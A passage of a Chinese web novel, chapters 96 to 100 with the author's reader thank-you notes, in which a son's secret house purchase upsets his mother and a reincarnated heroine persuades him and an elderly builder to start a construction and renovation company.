存折放的位置,母子俩也都清楚,不过平时大多是丁大勇在用。 买房子的事,他还没跟丁大娘提呢! 倒不是丁大娘反对儿子买房子,只是她现在一心盼着唯一的儿子能尽早成家、娶媳妇,家里的钱都准备拿去给儿子操办婚事用。 丁大勇这半年虽然挣了不少钱,但是买完了房子,基本上也不剩多少了,自然也就不够办婚事。 丁大娘就劝儿子把买房子的事先放一放,等给他成了家、办完婚事再说。 这里又说到了,丁大勇其实并不想那么早结婚。 之前,丁大娘托人给他相看的几个姑娘,他看着人家都挺好,但是却生不出半点想跟人家共同奋斗的想法。 所以,在房子和成家这两个关键问题上,他毫不犹豫地选择了前者。 只是做完“选择题”之后,一时又不知该怎么跟丁大娘说,也怕刺激到丁大娘的身体。 他思来想去,最终决定还是等过完年再跟丁大娘说实话。 没想到二十九那天下午,丁大娘因为觉得这一年家里好事不少,心情舒畅,一边收拾着给丁大勇父亲和兄姐祭拜的贡品时,一边就唠起了家里的舒心事。 提到了小儿子如今出息,挣了不少钱,就想着拿出存折在灵牌前摆一摆,叫亲人们在那边也能安心。 结果这一拿就发现存折上少了那么大一笔钱,把老太太急得不行! 赶上那天厂子放假,丁大勇提前下班。 等他到家一看这情况,知道纸包不住火,这才说了实话。 丁大娘一听儿子招呼都不打,就花了这么多钱买了个小房子,而且还是住不了人的,眼前一黑,直接晕倒了。 丁大勇赶忙把人送去t了医院。医生说幸亏送的及时,要不然很可能会发展成脑溢血,那可就危险了。 丁大勇带着小外甥女在医院陪床,一家三口从二十九下午一直待到初一下午,直到确定丁大娘情况稳定才出院。 不过医生也交代了,丁大娘现在不能再受刺激,必须保持情绪稳定,再有一次可不一定有这么幸运了。 但是自打这回病倒,丁大娘就一直没开口跟儿子说过话,任凭丁大勇怎么认错都不行。 丁大勇现在没有办法,又不想在这大过年的时候给师父一家添烦恼,所以就想着忍一忍先不说,没想到还是被小师妹看出来了!—— 作者有话说:感谢在2023-05-1321:55:41~2023-05-1622:09:38期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢灌溉营养液的小天使:檐上月2瓶; 非常感谢大家对我的支持,我会继续努力的! 第97章 “胡闹!” 苏卫华重重拍了一下桌子,责备丁大勇:“是不是挣了两个钱儿,你就飘了?买房子这么大的事,你一声不响就给自己办了?我问你,你把你妈放在了啥位置?” 李翠英看丁大勇满脸懊悔,见他已经知道错了,想着这孩子这两天又要照顾病人,也不容易,便拉了苏卫华一把,示意他不要再说了。 又跟丁大勇细细打听了丁大娘的病情,确定暂时没什么危险,这才松了口气。 末了,她还是对丁大勇说道:“你也别怪你师父生气,他也是替你着急。” “大勇,你一直是个懂事孩子,你妈这辈子不容易,她吃了多少苦、经了多少事,你是最清楚的!” “这次已经这样就算了,以后咱可千万不能再干这么戳你妈心窝子的事了,记住没?” 事实上,丁大勇也早就后悔了。 他觉得自己这次确实太犯浑,如今听着师娘这番劝告更加无地自容,只恨不得叫师父能打他一顿才好。 苏卫华看他这样子,也心软了一半,他其实是最心疼丁大勇这个徒弟的,现在骂不起来了,索性不再说了。 知道了丁大娘生病,苏卫华夫妻自然坐不住,一家人当即就准备去丁家探望。 李翠英在丁大勇拉来的那一车东西里捡了两样留在家里,剩下的就准备都让苏卫华拉回去。 旁边丁大勇见状,赶忙拦住李翠英,“师娘,这是我给你和师父、师妹们准备的年礼,不能往回拿!” 不等李翠英开口,苏卫华就像个点着的炮仗似的吼道:“少废话,再啰嗦,以后你也别来了!” 李翠英白了他一眼,回头对丁大勇和颜悦色道:“勇啊,师娘也没跟你客气,你也知道你师父家啥都不缺。这不,就缺那两样,师娘也给留下了!” “听话,剩下的你拿回去,还省得到时自己去买,费钱还费事。” 丁大勇还想再劝,但是看到旁边黑着脸的师父,立马噤了声。 除了三轮车上的东西,李翠英想着丁大娘身体不好,又拿了些鸡鸭、牛肉等补身体的食物。 这么一收拾,丁大勇来时是一车,回去时一车还没装下,苏卫华和苏丽珍自行车上都挂了不少东西。 到了丁家,丁大娘正在自个屋里炕上躺着。 苏丽珍看这短短三天,丁大娘的状态就像换了个人似的。现在的她面色苍白,神情憔悴,看他们来了想坐起身儿都费劲。 “苏兄弟、弟妹,你们咋都来了?” “嫂子,你快躺下,我们也不是外人!” 李翠英想让她继续躺着,丁大娘执意不肯,只好扶起她,让她半坐起来靠在枕头上。 丁家的小外孙女甜甜似乎知道了姥姥生病,小小的身体紧紧依偎在丁大娘身边。 她跟苏家人很熟了,要是平常,肯定早早就张着小手乐颠颠扑过来,这会儿却只是蔫蔫地喊了人,就又重新靠在了丁大娘手边。 李翠英一边摸了摸甜甜的头,一边关切地问到:“嫂子,你现在觉得咋样了?” 丁大娘勉强笑了下,“嗐,没啥事儿,都是老毛病,养养就好了!你说你们好不容易过年休息两天,还得来看我这个病号,真是给你们添麻烦!” 这时,一直没怎么吱声的苏卫华忽然肃着脸朝外屋喊道:“大勇,你给我进来!” 李翠英连忙给两个闺女使了个眼色,苏丽珍会意,和苏小麦一起上前抱起小甜甜,将她一块哄了出来。 苏丽珍临出门之际给了丁大勇一个自求多福的眼神。 在照顾小孩儿这方面,苏小麦明显比苏丽珍有天赋。 原本甜甜跟她们出来时还有些不情愿,但是架不住苏小麦一会儿从兜里摸出几颗糖,一会儿又找了根绳子陪她翻花绳,很快就把小家伙给哄住了。 苏丽珍也没闲着,看着外屋冷锅冷灶的,估摸大勇哥他们这两天也没怎么好好吃饭。 正好现在也快中午了,就从家里带的东西里挑了几样,准备做顿午饭。 两家关系亲密,苏丽珍对丁家的厨房还挺熟的。 打开碗橱,里面有一碗半干不细的剩米粥,还有几个奇形怪状、破了口子的饺子,一看就是大勇哥的手艺。 她用炉钩子扒拉了一下灶底,里头还有点火星子。 苏小麦帮忙往里添了一捧苞米芯,很快火就着起来了。 苏丽珍掀开灶上的大锅盖子,锅里是一只煮得发白的鸡。 估计是大勇哥想给丁大娘熬鸡汤,不过看着那清汤寡水、没油没盐的样子,不像熬鸡汤,倒像是水泡鸡。 苏丽珍把鸡捞出来,锅里的汤都倒了,又拿了一只自家带的鸡,洗干净放进锅里,准备重新熬一锅鸡汤。 原先这只鸡还能吃,把上面的肉剔下来,待会儿放点洋葱、干辣椒炒一炒,味道还是不错的。 这边灶上熬鸡汤;另外一边灶,苏丽珍生火煮了一锅小米粥。 锅里架上篦帘,把自家带的卤味、香肠切了两大盘子,放在上面加热。 她记得二十九那天过来时,看见丁大娘蒸了不少馒头和豆包。 这是东北人过年的习惯,年前要蒸上几锅馒头、豆包,放到外边冻瓷实了,然后装进大缸里,正月里随吃随热。 苏丽珍熟门熟路地从外边缸里拿了一些豆包和馒头,放在粥锅里一起热了。 饭菜的分量都不少,也带了他们自家四口人的份儿。 今天这种情况,他们肯定是要留在这儿吃饭的,如果就这么回去,丁大娘和丁大勇哥肯定心里过意不去。 来的时候,李翠英考虑到这种情况,就把自家早就准备好的一些现成吃食都带来了,待会儿粥好了,放锅里炒一炒就成了。 一时没什么事,苏丽珍和苏小麦坐在灶前,隔着门帘听着屋里苏卫华训斥丁大勇,时不时夹杂着丁大娘低低的哭声,还有李翠英的宽慰声。 没多长时间,丁大勇就蔫头耷脑地出来了。 一出屋,他就被灶房里夹着饭菜香的热气扑了个满头满脸。 丁大勇怔了一下,反应过来,马上要上前帮忙,却被苏丽珍拉住。 她小声道:“大勇哥,饭菜都差不多了,你不用忙,咱们就在这儿坐一会儿吧。” 说着,又随手拿了个小马扎递给他。 丁大勇感激地看了两个妹妹一眼,接过小马扎,陪姐妹俩一块坐下,正要说话,就听见屋里又传来隐隐的说话声,不由凝神听起来。 原来是屋里苏卫华和李翠英正在给丁大娘赔不是。 “嫂子,这事说起来也怪我们,要不是我们劝他有钱可以先买房,说不定以后能升值,他也不会主意这么正!都怪我这个师父不着调,没给他带个好头!” 屋里连忙传来丁大娘急切的声音:“苏兄弟、弟妹,你们可千万别这么说!这怎么能怪你们呢!” “有条件确实应该买房子置地,过去咱们老祖宗不都是这么干的吗?再说现在政策变了,这些我都懂!” “我也不是反对他买房,我只是气他,明知道我让他先用这笔钱结婚成家,他却招呼都不打就把钱都花了!” “他这明显是不想结婚,就用这种办法跟我对着干!你们说我能不生气吗!” 听着丁大娘的控诉,苏丽珍和苏小麦都下意识看向丁大勇。 丁大勇被自家亲妈揭了老底儿,脸上红了红,有些不自在地低下了头。 屋里李翠英还t在开导丁大娘,“嫂子,大勇这事做的是不对,该骂!” “但是嫂子,我们也有点纳闷,你怎么非要着急让他成家呢?你看现在国家都提倡晚婚晚育,大勇过了年虚岁才二十,正是好时候!” “凭咱大勇这条件,什么样的姑娘找不着?你何必把他逼得这么紧?” 李翠英的问题其实也是屋外丁大勇和苏丽珍他们想知道的。 三人都侧着头,静静听着屋里的声音。 甜甜看着他们的样子觉得好玩,小嘴一张刚要喊,就被苏小麦轻轻“嘘”了一声,又悄悄给她剥了一块糖。 甜甜被糖果吸引了注意力,很快安静了下来。 屋里李翠英问完也陷入了一阵沉默,良久才听见丁大娘叹息一声。 “弟妹、苏兄弟,我也不瞒你们了。我是想着我这身体一年不如一年,我想尽快让大勇把婚事定下来,等他成了家,我就做主把家分了!” “什么!分家?” 屋里李翠英夫妇显然都没想到会听到这样的答案,一时都格外震惊。 苏丽珍和苏小麦也有些吃惊,两人对视一眼,目光齐齐看向丁大勇,只见他此刻面色微微发白,放在膝头上的两只拳头也下意识握紧了。 “嫂子,你咋会有这样的念头?好端端的为啥要分家啊?” 相比所有人的惊讶,丁大娘的声音却显得十分平静,只听她缓缓道:“分家的事,我早就想好了。” “等将来大勇一结婚,我就把他们小两口分出去,我带着甜甜自己过。” “苏兄弟、弟妹,我们家的情况你们最清楚。甜甜的妈命苦,甜甜的命更苦,她妈是我的孩子,她欠的债我来还,所以甜甜我必须管!” “但是大勇不欠这孩子的,这两年他担起这个家不容易,一样都是我的孩子,我不能太自私。” “趁我现在还能动,早早把事情都安排好,以后甜甜就跟我过。我每个月糊火柴盒能挣几个钱,再加上一些老本儿,即便有一天我走了,甜甜手里有这笔钱也差不了。” “实在缺啥、少啥,就让他这个当舅舅的帮衬一把,能把这孩子拉扯大就够了。” 苏丽珍心里叹息了一声,没想到丁大娘会想的这样长远,而且每一步都是在为大勇哥和甜甜打算。 她看了眼身边的苏小麦,见她眼神羡慕中夹杂着落寞,显然是想到了她自己那对人渣父母,心有所感。 再去看丁大勇,早已经泪流满面。 他腾地从马扎上站起身,想要冲进屋去,却被苏丽珍一把拦住。 她朝对方轻轻摇了摇头,低声劝道:“大勇哥,你别着急,有我爸妈在,他们是绝不会让大娘有这种念头的!” “但是如果你现在进去了,你越是态度坚决,大娘越是觉得对不起你,就越不会答应。”—— 作者有话说:感谢在2023-05-1622:09:38~2023-05-2022:23:38期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢灌溉营养液的小天使:檐上月2瓶;梦想就成真1瓶; 非常感谢大家对我的支持,我会继续努力的! 第98章 丁大勇听了苏丽珍的话,犹豫了一下,到底没进去。 果然,屋里很快响起苏卫华不赞同的声音。 “嫂子,你怎么能有这种想法?大勇是个什么样的孩子,你比我们谁都清楚!咱先不说分家这事对不对,就说你这个念头,那就等于拿刀捅大勇的心窝子,你这不是成心让孩子难受吗?” 苏卫华的语气很重,显然极其反对丁大娘分家的想法。 李翠英也跟着劝道:“是啊,嫂子,别人家都是一个屋檐下住着不方便,各有各的矛盾,这才分家。咱们好好的,分什么家呢?” “你想想,如果按你说的大勇一结婚,你就要把他分出去,那以后让大伙怎么看他们小两口?” “万一有人说大勇娶了媳妇儿忘了娘,这不是坏了孩子名声吗?就是新媳妇那里也不好做人啊!” 不得不说李翠英这话劝的很有水平,事关儿子的声誉问题,丁大娘也有点转过味儿来,语气迟疑道: “到时就说……是我坚持要分家的,跟大勇没关系!” 李翠英却反问道:“那要是大伙儿都认定是大勇逼的你坚持分家,那怎么办?” 丁大娘似乎被问住了,屋里再次陷入短暂的沉默。 之后,李翠英才语重心长的又劝说道:“嫂子,你看,你也知道突然分家不是什么好事。大勇的哥姐都走了,现在家里只有他一个,刚一结婚你就坚持要分家,这外人很难不想歪。” “虽然说大家关起门过自己的日子,不必理会外人说什么。可大勇在那么大的厂子里上班,手里又不差钱,你也是个宽和的,将来势必娶的媳妇也错不了!” “到时候好好的儿子、媳妇,你就愿意让他们无端端的遭人非议?” 丁大娘似乎是被说服了,很快就长叹了一声,有些自责道:“看来是我把事情想简单了,差点害了大勇。” 听出丁大娘语气有所松动,屋外的三人都松了口气。 屋里的苏卫华语气也缓和了不少。 “嫂子,找个时间和大勇好好聊聊吧。我和翠英也是做爹妈的,我们自然能理解你。” “你不想给孩子添麻烦,恨不得把最好的东西都留给他们!可什么是最好的?在咱们眼里最好的,在孩子们那里也这么想吗?” “我的想法是,与其咱们当爹妈的胡思乱想,做一些不确定能给孩子带来什么好处的事,倒不如咱们放宽心,养个好身体,健健康康的,让孩子们没有后顾之忧。叫他们能把所有心思都放在他们自己的事情上,这才是真正为他们着想啊!” 屋外的苏丽珍和苏小麦听见苏卫华这话,都忍不住在心里给自家的爸爸竖起了大拇指。 苏卫华这话确实是道出了他们作为子女的心声。 这世界上任何事情都有两面性,即便是这人世间最宝贵的父母至亲之爱也是如此。爱能带来动力、专注和希望,可同样也会带来负担。 屋里的丁大娘似乎也有所悟,“苏兄弟你说的对,我确实应该多站在大勇的角度好好想想。” “可能我做的那些事看似是在替儿子打算,但说不好每一件都在拖他的后腿,可我自己还没想明白,幸亏你们提醒的及时。” 听丁大娘是真想明白了,苏丽珍和苏小麦不由相视一笑,一起拍了拍丁大勇肩膀。 丁大勇冲两人笑了笑,只是两只眼睛却一直红红的。 苏丽珍察觉到对方心里似乎还有别的心事。 中午在丁家吃了一顿丰盛的午餐,苏丽珍一家也没急着回去。 李翠英在碗橱里看到了丁大勇包的那几个不合格的饺子后,想着下午没什么事,就帮着包了些饺子冻上,等丁大娘和甜甜啥时候想吃就煮一碗。 饺子有酸菜猪肉馅儿和白菜猪肉馅儿。丁大娘住的屋里,炕梢有个矮木箱子,里头种了不少韭菜,李翠英估摸够吃一顿,就割了一茬,准备包点三鲜馅儿的饺子。 和馅的时候发现丁家没有虾皮儿,就喊苏丽珍回自家取一些。 丁大勇没答应,拿着副食本要自己去买。 苏丽珍想了想,也跟着一块儿出去了。 丁大勇见小师妹追出来,以为她想买什么东西,一拍衣兜,乐呵呵道:“妹子,你想买啥跟哥说,哥给你买!” 苏丽珍失笑,心里却暖洋洋的一片。 如果她真有一个哥哥,大概也就是大勇哥这个样子,甚至可能都不一定有大勇哥做的好。 对于这么好的哥哥,她是真的关心和在意。 “大勇哥,我是特地出来找你说说话的。” “我觉得你一直有心事,能跟我说说吗?就算我帮不上什么忙,我也希望你不要一直憋在心里。” 丁大勇愣了一下,随即露出了一抹苦笑,“珍珍,你真是聪明,果然什么都瞒不过你。” 或许确实是心里的苦闷无处倾诉,丁大勇丝毫没有避讳,直接伸手从自己棉袄内兜里掏出了一个巴掌大的日记本递给了苏丽珍。 苏丽珍接过后,确认丁大勇是让她看里面的内容t,这才翻看起来。 这一看,她顿时就明白了。 这笔记本里画了一幅幅房屋设计图。有普通的民房,也有标准的四合院,还有像他们家现在住的二、三层小洋楼。 每一种房屋建筑,既有平面设计图,又有内外效果图。 而且每幅图都画的很细致,虽然只是最简单的线条构成,画画的水平也只是普通,但是大到门窗院墙,小到一砖一瓦,都努力画的清清楚楚。 尤其苏丽珍看到的一座四合院的设计图,不但整体外观古香古色,连内部的装饰也充满了古典韵味,整体风格协调,相得益彰。 这对于一个半路出家、才接触建筑设计不足两个月的人来说,简直就是不可思议! “大勇哥,你可真了不起!” 然而对于小师妹的夸赞,丁大勇却摇了摇头,解释道:“这些图大多是我照着薛老爷子借给我的那些书,以及我在图书馆查到的资料,参考着画出来的。” “属于我自己的东西没有多少,而且薛老爷子也指点过我。” 苏丽珍却不这么想。只看这些设计图上细致流畅的线条,美观大方的布局,就知道丁大勇付出了多少心血。 以他短短的入门学习时间来看,能做到这一点已经很不容易了。 也是看到了丁大勇的这些手稿,苏丽珍才确定对方的心病是什么。 丁大勇这次背着丁大娘私下买房子,在丁大娘看来是觉得儿子不想早早结婚,所以才把钱挪用花掉。 可事实上并不是,苏丽珍知道,丁大勇的出发点还是想多挣一些钱。 她早就发现,从丁大勇对建筑设计这一块着迷开始,他对挣钱就有了一股子急迫心理。 丁大勇的想法也很好理解,毕竟每个人都有自己的理想。 可是这个理想对于未来的他充满了不确定性,也无法给他任何保障,更别说跟机械厂的铁饭碗比。 丁大勇是一个孝顺、有责任心的人,因为丁大娘和甜甜,他绝对不会只顾自己,让家人陪他一起承受压力。 一边是自己内心追求的理想,一边是家庭和责任,所以陷入两难的他才下意识希望尽快赚到钱,好让家底更殷实一些。 只有更多的经济保障,他才有信心和底气去做自己想做的事。 比如现在买房子,不管是将来收租还是升值换钱,都可以做为对丁大娘和甜甜的保障之一。 苏丽珍其实一直都希望丁大勇能去做自己喜欢的事。 一方面,是因为她知道建筑设计在未来是非常有前景的行业。作为第一批进入这个行业的人,是很有可能吃到红利的。 相比之下,机械厂所谓的铁饭碗其实根本撑不了多久。 即便她上辈子活的时间不长,并没有看到最后的情况,但是在米国吃足了各种苦头的她却看的明白,但凡有一点办法,那些跟她一样打黑工的人当初都不会背井离乡,冒那么大风险过去。 另外,还有最重要的一点,上辈子的大勇哥为了他们家真的付出了很多。 苏丽珍永远都记得,那时的她恋爱脑上头,任性妄为到极点,而大勇哥不但要顾着自家的一老一小,还要帮衬她的父母。 为了能让两家人的日子过得宽松一点,丁大勇白天在机械厂上班,稍微一有点空闲就去给人扛煤气罐,弄得身上一天到晚脏兮兮的,人也瘦成了衣服架子。 对于这样的大勇哥,苏丽珍由衷希望他能生活的幸福快乐。 所以苏丽珍愿意努力去帮助他实现心里的梦想。 在看了这些手稿之后,苏丽珍看到了他内心的想法,读懂了他的渴望,于是她也毫不犹豫地做了一个决定。 “大勇哥,现在政策好了,大伙的日子一天比一天好,我觉得不管是在农村还是在市里,想要盖房子或者装修房子的人肯定会越来越多。” “所以我有一个想法,我想和你一起组建一个专门给人家盖房子或者装修屋子的队伍。” “到时候我负责出钱、招工人,以及一些前期的宣传工作。” “而大勇哥你会设计、懂现场,等我拉来客户,具体的设计和施工这些就都交给你,怎么样?” 丁大勇听的眼睛都瞪圆了,嘴巴张的老大。 小师妹的话太让人震惊了,他一时都忘了回答,不过听到苏丽珍让他负责设计施工,他连忙反应过来,赶紧摆手: “不行不行,我这才学了几天,连皮毛都没沾到,我肯定不行!” 第99章 苏丽珍笑道:“大勇哥,前段时间我们自己家装修,我就了解到,目前咱们凤城市还没有给个人盖房修屋的专业建筑公司。” “所以,如果将来咱们的队伍建成,就是这个领域的第一人,说一句行业开拓者也不为过。这种情况下,我们是有一定主动权的。” 她扬了扬手里的日记本,“我仔细看过了你的这些设计图,无论是房屋建筑种类、还是内部装饰花样,既齐全、又细致,对于现在的市场水平,目前这些就已经足够用了。” “除此外,我还打算请薛老爷子出山,让他作为咱们的技术指导,专门指点大家干活。到时有他老人家给咱们把关,大勇哥,你就只管放心大胆地去做就是了。” 丁大勇听说有薛老爷子指导,第一反应确实是高兴,可高兴过后,他想到自己的那点儿水平,别说让人家老爷子指点,按照规矩,就是叫他现在去给薛老爷子端茶倒水,恐怕都不够格儿。 他实在是没有信心,纵然心里的那根弦儿被小师妹的话给说动了几分,可思来想去,还是不肯答应。 丁大勇的反应完全在苏丽珍的预料之内,于是她更加耐心地给对方分析道: “大勇哥,我知道你顾虑什么,其实你只是被自己的想法给困住了。将来搞个体经济的会越来越多,你说开饭店的人就一定要自己会做饭吗?他完全可以去雇一个厨子,对吧?” “还有医院里的医生,难道他们就会看所有的病吗?” “我们的目的是打造一个正规的、专业的施工队伍,而不是什么事都指望一个人。因为一个人会的再多,他也不可能做完所有的事。” “只要我们足够用心,再加上有薛老爷子从旁指导,什么事做不来?” “不会的我们可以学,实在学不会的,我们也可以花钱去请会的人来做。” “大勇哥,只要你想干,我就无条件支持你!所以也希望你能对自己多一点信心! 苏丽珍的话直接在丁大勇的心里点着了一把火。 这一刻,他突然不想违心地一再拒绝。 最终,他重重点了点头,“好,小师妹,我听你的,咱们就按你说的干!” 不过他也不糊涂,他知道小师妹之所以突然做这么大的决定,主要还是为了他,所以他也直接提出了自己的要求。 “小师妹,别的我都能答应你,但是往里投钱的事,咱们说好,必须是一人一半,不能全让你一个人来承担!” 虽然小师妹说他们将来会成为市内首家专门的民间建筑公司,但是通过他这段时间对这个行业的了解,他知道有些事并不像想的那么简单。 就拿盖房子来说,现在城里大多是住单位分的房子,这些房子都是由市里公家的建筑队伍来承建,根本轮不到他们这种民间队伍,而且他们也没有相关的资质。 农村就更别提了! 现在乡下盖房子大多是村里人互相帮忙。今天你帮他,明天他帮你,只要管中午一顿饭就行。 花钱去雇外面的人来干活,那是冤大头才干的事。 所以这盖房子就不用想了。 再说室内装修这一块,连盖房子这么大的事都不想额外花钱,又有谁舍得花大价钱去精心装饰布置呢? 有那个钱,还不如去买一台电视或者缝纫机之类的家电用品,往屋里一摆,那才叫排场。 这条路现在明显不是那么好走的。 可这是他心心念念的梦想和愿望,他自己花钱亏本,他自己认,但是他不能明知道小师妹这么做是为了他,却还自私地叫小师妹和他一起分担。 他心里暗暗决定,如果将来亏本亏得厉害,他一定要想办法把钱都还给小师妹,损失都由自己来承担。 毕竟是相处过两辈子、胜似亲兄妹的师哥,苏丽珍一看他的表情就猜到他t心里的想法,自然十分坚决地拒绝了。 她状似玩笑一般说道:“大勇哥,那可不行!说起搞建筑盖房子,本来重点就在你们这些搞技术或者跑现场的人身上。” “我去找客户也不过是动动嘴皮子的事,如果你再不让我多出点钱,那等以后咱们挣到钱,我也没底气拿分红。” “而且大勇哥你也不用太悲观,其实我觉得咱们还是很有潜力的。” 实事求是,苏丽珍也知道现在的时机并不算好。 或许再等个两三年,有更多的鼓励政策出台,人们的手头也更加宽裕,那时才是最合适的时候。 但是你的时机,也有可能是别人的时机。同样万事俱备,你怎么就能够确定那股东风一定会优先吹向你呢? 想做行业开拓者、领头羊,必然要比别人多付出一些代价。 如果苏丽珍没有比别人多活那十年的经历,她也许还会有所顾虑。但是现在她掌握了先机,自然也比别人有更多把握。 相比未来可能获得的巨大手艺,如今前期的一些损失也不算什么。 何况也未必就一定有损失。 就比如说丁大勇担心的没人花钱请人盖房子这件事,这个前提也要看是盖什么样的房子。 如果他们盖出来的房子,样式足够新颖漂亮,她相信照样有人愿意花钱。 据她所知,凤城近郊的城乡结合部,有很多人家就像苏丽珍她爷奶家那样,家里既有端着铁饭碗的正式工人,又因为住宅位置靠近乡村、处于三不管地带,不少人偷偷圈地种菜、饲养家禽家畜。 养的好也是一项收入,所以这些家庭往往都不差钱。 苏丽珍记得,上辈子就是从这一片区域开始,流行建一种当地叫做“北京平”的平顶式房屋。 房屋外墙会铺一层水泥加碎石子,这些石子都是彩色的,在墙面上可以构成一些简单的图案。 即便站的很远,这些彩色的简笔图案依然生动醒目。 后来又有了马赛克,就是一种非常小的方块瓷砖,外墙上粘一层,当阳光照下来,那是真正的锃光瓦亮。 当时苏丽珍爷奶家附近就有一户人家盖了这样四间“北京平”。 据说,干活的师傅是从首都那边请来的。苏丽珍的爷奶过去打听,说是盖这么一座房子的造价是普通砖瓦房的两倍。 可即便是这么贵的价钱,仍然挡不住很多人都想要一座这样的房子。那位首都来的大师傅手上的订单,甚至直接排到了第二年年末。 可见大家不是不愿意花钱雇人盖房子,而是不愿意为盖一座大多数人都会盖的房子多花钱。 所以只要你能做到,让大家觉得你的东西别具一格,是物有所值的,那花钱就不是问题。 尤其像房子这种攸关身家脸面的事,很多人绝对是输人不输阵。 而只要他们的队伍能在最开始打造出一个吸引人的招牌样板,就不愁今后局面打不开。 盖房子是这样,室内装修更是如此。像他们家的小楼装修完之后,一直有客人打听这些装修的事。 苏丽珍有信心从这些感兴趣的客人中挖掘出一部分,发展成公司的客户。 当然,关于未来住宅房屋的具体流行样式,苏丽珍自然不能告诉丁大勇,但是这不妨碍她做一些思路上的引导。 丁大勇的这些手稿中有很多构思充满了新意,即便是以她活了两辈子的目光来看,也是很不错的。 她想也许是因为丁大勇现在入门时间尚短,思维也并没有完全陷入惯性,这样的他也更能发挥创新能力,设计出让人耳目一新的作品。 反正技术和安全层面有薛老爷子把关,也不需要担心,倒不如让他自由发挥。 丁大勇在听了苏丽珍的这些分析之后,大有豁然开朗的感觉,一时只觉得思路大开,脑子里多了很多想法。 而陷入这些想法的他不知不觉就忘了之前出资的话题,等他回过神来时,已经被苏丽珍拉着回到家里,跟两家父母说起了开公司组队伍的事。 苏卫华夫妻在看了闺女递过来的,丁大勇亲手画的那些设计图之后,当即就对两个孩子的决定表示了大力支持。 丁大娘是有些犹豫的。 一个是怕亏本、糟蹋钱,尤其是当听说苏家要承担所有的资金时,她跟自己儿子一样,第一反应就是不同意。 在她心里,即便是要开公司,也不能让苏家承担所有的损失; 再者,也是怕儿子忙不过来,到时候两头耽误。 不过作为当妈的,她其实比谁都更早发现儿子对这一行的喜爱。 加上刚听了苏卫华夫妻先前那一番劝解,她也反省了一下自己,觉得在儿子的一些事情上,她确实有不足。 所以即便这会儿心里不太同意,也没有直接表现出来。 苏卫华夫妻便帮着劝丁大娘:“嫂子,这钱还是应该我们家出。珍珍说的对,无论是设计、还是施工,她都帮不上多少忙,你再不让她出点儿钱,那可真站不住脚了。” “再说亏损的事,我们家装修我是知道的。一般情况下,都是房主预先支付一部分材料款,他们拿了材料款,买了材料,然后才开工。” “基本上一个活儿完工之后,钱也差不多收上来了。即便是压一点尾款,也压不了多少。所以我们也投入不了多少钱,就算是养工人,基本工资这一块也不高。” “至于嫂子你说怕大勇忙不过来,我看他现在是上一天班,歇一天半,这个时间很充裕的。” “按照孩子们的意思,他是负责设计和监工这些,也不用怎么出力,如果安排好了,也不需要人天天守在那儿。” “再说,不是还有薛老爷子吗,两个人轮班看着,我看足够用了。” 人家把话说到这份儿上,丁大娘也明白,自家要是再反对,就是不识好歹了,便点头答应了。 还难得鼓励了丁大勇几句,说自己以后不会再拿成家的事烦他,让他只管去做自己喜欢的事。 苏丽珍看出,丁大勇听了这话特别开心。 获得了家人的支持,紧接着第二件事就是去请薛老爷子出山。 师兄妹俩都是行动派,初三一早上就去百货商店买齐了烟酒礼品,去薛家拜访。 第100章 大年初三,薛老爷子家儿孙齐聚,格外热闹。 之前,苏家曾经请薛老爷子一家在自家饭店里吃过饭,所以对薛老爷子的儿女们也不算陌生。 苏丽珍和丁大勇上门,双方见了面,打过招呼后,薛老爷子的两个儿子看出薛苏丽珍和丁大勇有事,就主动带着各自的妻儿进了卧室,方便自家父母招待两人。 一坐下,苏丽珍就立马说明了来意。 薛老爷子一听说两人开年准备组建自己的装修公司,并且要请他做技术顾问,专门为公司将来承建的各项工程把关,当场就乐开了花儿! 要不是有薛老太太拦着,恐怕就要原地蹦个几下。 他激动地当场跟苏丽珍和丁大勇拍胸脯保证:“你们放心,我肯定好好干!我也不用非当啥顾问的,只要你们肯用我,就是让我去搬砖扛活儿,我都乐意!” 不等苏丽珍他们接话,薛老太太就先白了他一眼,直接拆台:“就你那老么咔哧眼的,谁用你扛活儿,都不够碍事的!过年那些鸡心眼子是白吃了,对自个儿还真是一点数都没有!” 不过转头,薛老太太就拉着苏丽珍的手拍了拍,“好孩子,谢谢你们想着你们薛爷爷!” “他虽然不着调,但是说起盖房子这些事,他还是拿的出手的!你们到时候直管使唤他,干啥都行!” “要是这老东西不服管,你们就回来找我,我到时就把家里所有的搓衣板都翻出来,我保证让这些家伙式儿跟着老东西一起返岗再就业!” 苏丽珍和丁大勇:“……” 看了看旁边敢怒不敢言的薛老爷子,他们好像知道了点什么。 接下来是谈待遇的问题。 薛老爷子老两口都是实在人,薛老爷子又一心扑在自己热爱的建筑事业上,对身外之物不怎么看重。 所以,一听说苏丽珍不但月月给他发工资和奖金,还要给他三成的公司股份,老爷子赶忙摆手拒绝,说什么都不肯接受。 苏丽珍不由劝道:“薛爷爷,您老的技术和眼光值得这些!有你老人家在,我们才有底气办好这个公司。” “您就是咱们的定海神针,专门给我们撑腰的,所以您要是不t肯接受,我们心里也难安。” 话说到这个份上,薛老爷子也不好再拒绝。不过他最终只答应接受一成的股份,多了就再不肯要了。 确定了薛老爷子加盟,开建筑公司这事基本就能确定了大半。 虽然现在外面天寒地冻动,暂时开不了工,但是有些事还是可以提前定下。 三人就先做好了公司初步的职责划分。 苏丽珍负责初期的资金投入,并做好宣传工作,为公司开拓客户资源。同时,也负责公司的行政事务管理。 丁大勇负责承接项目的设计及具体施工环节,施工现场的人员管理也由他负责。 薛老爷子则坐镇大后方,担任所有工程项目的技术指导,确保公司所承接的每一个项目保质保量完成。 其中,苏丽珍持有公司50%的股份,丁大勇为40%,薛老爷子为10%。 三人商量后,决定就以丁大勇年前买的那座六十多平的房子,作为公司成立后的首个开工项目,同时也是对外宣传用的样板工程。 公司会在外头解冻前先招聘部分工人,等天气一转暖就立马动工。 因为房子是丁大勇的个人财产,所以前期投入的费用先记在公司账上,等公司盈利后,再从丁大勇的个人账户上分批扣除。 当然这段时间也不能闲着,他们可以先出一些设计图,这里主要是指外行也能看懂的实际效果图。 这些效果图由丁大勇设计制作,薛老爷子把关,最后再交给有美术功底的苏丽珍,照原图进行等比例放大、色彩填充等二次绘制。 之后,再把这些图画整理成册,专门用来宣传展览,招揽客户。 此外,苏丽珍还打算挑一些有代表性的设计图,找人装裱成画,到时挂在饭店墙上,应该也能起到一定的宣传作用。 值得一提的是,在这个过程中,薛老爷子还贡献了他压箱底儿的宝贝——两本自制的图集。 一本是国内外建筑杂志上刊登的建筑图片。 是的,没看错,里面还有国外的专业期刊! 